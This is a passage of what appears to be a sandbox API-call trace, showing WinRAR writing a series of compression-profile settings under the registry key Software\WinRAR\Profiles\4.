samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.619] RegSetValueExW (in: hKey=0x164, lpValueName="RecEnabled", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.619] RegCloseKey (hKey=0x164) returned 0x0 [0052.619] GetLastError () returned 0x0 [0052.619] SetLastError (dwErrCode=0x0) [0052.619] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.619] RegSetValueExW (in: hKey=0x164, lpValueName="RecSize", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0xfffffffd, cbData=0x4 | out: lpData=0x18b058*=0xfffffffd) returned 0x0 [0052.620] RegCloseKey (hKey=0x164) returned 0x0 [0052.620] GetLastError () returned 0x0 [0052.620] SetLastError (dwErrCode=0x0) [0052.620] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.620] RegSetValueExW (in: hKey=0x164, lpValueName="EraseDest", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.620] RegCloseKey (hKey=0x164) returned 0x0 [0052.620] GetLastError () returned 0x0 [0052.620] SetLastError (dwErrCode=0x0) [0052.620] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.620] RegSetValueExW (in: hKey=0x164, lpValueName="AddArcOnly", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.620] RegCloseKey (hKey=0x164) returned 0x0 [0052.620] GetLastError () returned 0x0 [0052.620] SetLastError (dwErrCode=0x0) [0052.620] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.620] RegSetValueExW (in: hKey=0x164, lpValueName="ClearArc", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.620] RegCloseKey (hKey=0x164) returned 0x0 [0052.620] GetLastError () returned 0x0 [0052.620] SetLastError (dwErrCode=0x0) [0052.620] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.620] RegSetValueExW (in: hKey=0x164, lpValueName="Lock", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.620] RegCloseKey (hKey=0x164) returned 0x0 [0052.620] GetLastError () returned 0x0 [0052.620] SetLastError (dwErrCode=0x0) [0052.621] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.621] RegSetValueExW (in: hKey=0x164, lpValueName="Method", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x3, cbData=0x4 | out: lpData=0x18b058*=0x3) returned 0x0 [0052.621] RegCloseKey (hKey=0x164) returned 0x0 [0052.621] GetLastError () returned 0x0 [0052.621] SetLastError (dwErrCode=0x0) [0052.621] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.621] RegSetValueExW (in: hKey=0x164, lpValueName="Background", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.621] RegCloseKey (hKey=0x164) returned 0x0 [0052.621] GetLastError () returned 0x0 [0052.621] SetLastError (dwErrCode=0x0) [0052.621] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.621] RegSetValueExW (in: hKey=0x164, lpValueName="WaitForOther", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.621] RegCloseKey (hKey=0x164) returned 0x0 [0052.621] GetLastError () returned 0x0 [0052.621] SetLastError (dwErrCode=0x0) [0052.621] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.621] RegSetValueExW (in: hKey=0x164, lpValueName="Shutdown", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.621] RegCloseKey (hKey=0x164) returned 0x0 [0052.621] GetLastError () returned 0x0 [0052.621] SetLastError (dwErrCode=0x0) [0052.621] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1897b8, lpdwDisposition=0x1897b0 | out: phkResult=0x1897b8*=0x164, lpdwDisposition=0x1897b0*=0x2) returned 0x0 [0052.621] RegSetValueExW (in: hKey=0x164, lpValueName="PasswordData", Reserved=0x0, dwType=0x3, lpData=0x13f26f128*, cbData=0x1 | out: lpData=0x13f26f128*) returned 0x0 [0052.622] RegCloseKey (hKey=0x164) returned 0x0 [0052.622] GetLastError () returned 0x0 [0052.622] SetLastError (dwErrCode=0x0) [0052.622] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.622] RegSetValueExW (in: hKey=0x164, lpValueName="EncryptHeaders", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.622] RegCloseKey (hKey=0x164) returned 0x0 [0052.622] GetLastError () returned 0x0 [0052.622] SetLastError (dwErrCode=0x0) [0052.622] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.622] RegSetValueExW (in: hKey=0x164, lpValueName="ZipLegacyEncrypt", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.622] RegCloseKey (hKey=0x164) returned 0x0 [0052.622] GetLastError () returned 0x0 [0052.622] SetLastError (dwErrCode=0x0) [0052.622] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.622] RegSetValueExW (in: hKey=0x164, lpValueName="OpenShared", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.622] RegCloseKey (hKey=0x164) returned 0x0 [0052.622] GetLastError () returned 0x0 [0052.622] SetLastError (dwErrCode=0x0) [0052.622] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.622] RegSetValueExW (in: hKey=0x164, lpValueName="ProcessOwners", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.622] RegCloseKey (hKey=0x164) returned 0x0 [0052.622] GetLastError () returned 0x0 [0052.622] SetLastError (dwErrCode=0x0) [0052.623] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.623] RegSetValueExW (in: hKey=0x164, lpValueName="SaveStreams", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.623] RegCloseKey (hKey=0x164) returned 0x0 [0052.623] GetLastError () returned 0x0 [0052.623] SetLastError (dwErrCode=0x0) [0052.623] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.623] RegSetValueExW (in: hKey=0x164, lpValueName="SaveSymLinks", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.623] RegCloseKey (hKey=0x164) returned 0x0 [0052.623] GetLastError () returned 0x0 [0052.623] SetLastError (dwErrCode=0x0) [0052.623] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.623] RegSetValueExW (in: hKey=0x164, lpValueName="SaveHardLinks", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.623] RegCloseKey (hKey=0x164) returned 0x0 [0052.623] GetLastError () returned 0x0 [0052.623] SetLastError (dwErrCode=0x0) [0052.623] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.623] RegSetValueExW (in: hKey=0x164, lpValueName="GenerateArcName", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.623] RegCloseKey (hKey=0x164) returned 0x0 [0052.623] GetLastError () returned 0x0 [0052.623] SetLastError (dwErrCode=0x0) [0052.623] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.623] RegSetValueExW (in: hKey=0x164, lpValueName="VersionControl", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.624] RegCloseKey (hKey=0x164) returned 0x0 [0052.624] GetLastError () returned 0x0 [0052.624] SetLastError (dwErrCode=0x0) [0052.624] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.624] RegSetValueExW (in: hKey=0x164, lpValueName="BLAKE2", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.624] RegCloseKey (hKey=0x164) returned 0x0 [0052.624] GetLastError () returned 0x0 [0052.624] SetLastError (dwErrCode=0x0) [0052.624] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.624] RegSetValueExW (in: hKey=0x164, lpValueName="FileCopies", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.624] RegCloseKey (hKey=0x164) returned 0x0 [0052.624] GetLastError () returned 0x0 [0052.624] SetLastError (dwErrCode=0x0) [0052.624] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.624] RegSetValueExW (in: hKey=0x164, lpValueName="QuickOpen", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x1, cbData=0x4 | out: lpData=0x18b058*=0x1) returned 0x0 [0052.624] RegCloseKey (hKey=0x164) returned 0x0 [0052.624] GetLastError () returned 0x0 [0052.624] SetLastError (dwErrCode=0x0) [0052.624] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.624] RegSetValueExW (in: hKey=0x164, lpValueName="GenerateMask", Reserved=0x0, dwType=0x1, lpData="yyyymmddhhmmss", cbData=0x1e | out: lpData="yyyymmddhhmmss") returned 0x0 [0052.624] RegCloseKey (hKey=0x164) returned 0x0 [0052.624] GetLastError () returned 0x0 [0052.625] SetLastError (dwErrCode=0x0) [0052.625] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.625] RegSetValueExW (in: hKey=0x164, lpValueName="FileTimeMode", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.625] RegCloseKey (hKey=0x164) returned 0x0 [0052.625] GetLastError () returned 0x0 [0052.625] SetLastError (dwErrCode=0x0) [0052.625] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.625] RegSetValueExW (in: hKey=0x164, lpValueName="FileDays", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.625] RegCloseKey (hKey=0x164) returned 0x0 [0052.625] GetLastError () returned 0x0 [0052.625] SetLastError (dwErrCode=0x0) [0052.625] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.625] RegSetValueExW (in: hKey=0x164, lpValueName="FileHours", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.625] RegCloseKey (hKey=0x164) returned 0x0 [0052.625] GetLastError () returned 0x0 [0052.625] SetLastError (dwErrCode=0x0) [0052.625] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.625] RegSetValueExW (in: hKey=0x164, lpValueName="FileMinutes", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.625] RegCloseKey (hKey=0x164) returned 0x0 [0052.625] GetLastError () returned 0x0 [0052.625] SetLastError (dwErrCode=0x0) [0052.625] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.625] RegSetValueExW (in: hKey=0x164, lpValueName="FileTimeLimit", Reserved=0x0, dwType=0xb, lpData=0x18b058*=0x0, cbData=0x8 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.626] RegCloseKey (hKey=0x164) returned 0x0 [0052.626] GetLastError () returned 0x0 [0052.626] SetLastError (dwErrCode=0x0) [0052.626] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.626] RegSetValueExW (in: hKey=0x164, lpValueName="ArcTimeOriginal", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.626] RegCloseKey (hKey=0x164) returned 0x0 [0052.626] GetLastError () returned 0x0 [0052.626] SetLastError (dwErrCode=0x0) [0052.626] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.626] RegSetValueExW (in: hKey=0x164, lpValueName="ArcTimeLatest", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.626] RegCloseKey (hKey=0x164) returned 0x0 [0052.626] GetLastError () returned 0x0 [0052.626] SetLastError (dwErrCode=0x0) [0052.626] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.626] RegSetValueExW (in: hKey=0x164, lpValueName="mtime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x4, cbData=0x4 | out: lpData=0x18b058*=0x4) returned 0x0 [0052.626] RegCloseKey (hKey=0x164) returned 0x0 [0052.626] GetLastError () returned 0x0 [0052.626] SetLastError (dwErrCode=0x0) [0052.626] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.626] RegSetValueExW (in: hKey=0x164, lpValueName="ctime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.626] RegCloseKey (hKey=0x164) returned 0x0 [0052.626] GetLastError () returned 0x0 [0052.627] SetLastError (dwErrCode=0x0) [0052.627] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.627] RegSetValueExW (in: hKey=0x164, lpValueName="atime", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.627] RegCloseKey (hKey=0x164) returned 0x0 [0052.627] GetLastError () returned 0x0 [0052.627] SetLastError (dwErrCode=0x0) [0052.627] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.627] RegSetValueExW (in: hKey=0x164, lpValueName="PathsAbs", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.627] RegCloseKey (hKey=0x164) returned 0x0 [0052.627] GetLastError () returned 0x0 [0052.627] SetLastError (dwErrCode=0x0) [0052.627] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.627] RegSetValueExW (in: hKey=0x164, lpValueName="PathsNone", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.627] RegCloseKey (hKey=0x164) returned 0x0 [0052.627] GetLastError () returned 0x0 [0052.627] SetLastError (dwErrCode=0x0) [0052.627] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.627] RegSetValueExW (in: hKey=0x164, lpValueName="PathsAbsDrive", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.627] RegCloseKey (hKey=0x164) returned 0x0 [0052.627] GetLastError () returned 0x0 [0052.627] SetLastError (dwErrCode=0x0) [0052.628] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.628] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArc", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.628] RegCloseKey (hKey=0x164) returned 0x0 [0052.628] GetLastError () returned 0x0 [0052.628] SetLastError (dwErrCode=0x0) [0052.628] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.628] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArcDoubleExt", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.628] RegCloseKey (hKey=0x164) returned 0x0 [0052.628] GetLastError () returned 0x0 [0052.628] SetLastError (dwErrCode=0x0) [0052.628] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.628] RegSetValueExW (in: hKey=0x164, lpValueName="SeparateArcSubfolders", Reserved=0x0, dwType=0x4, lpData=0x18b058*=0x0, cbData=0x4 | out: lpData=0x18b058*=0x0) returned 0x0 [0052.628] RegCloseKey (hKey=0x164) returned 0x0 [0052.628] GetLastError () returned 0x0 [0052.628] SetLastError (dwErrCode=0x0) [0052.628] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0x18abb8, lpdwDisposition=0x18abb0 | out: phkResult=0x18abb8*=0x164, lpdwDisposition=0x18abb0*=0x2) returned 0x0 [0052.628] RegSetValueExW (in: hKey=0x164, lpValueName="EmailArcTo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0052.628] RegCloseKey (hKey=0x164) returned 0x0 [0052.628] GetLastError () returned 0x0 [0052.628] SetLastError (dwErrCode=0x0) [0052.628] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18ab78, 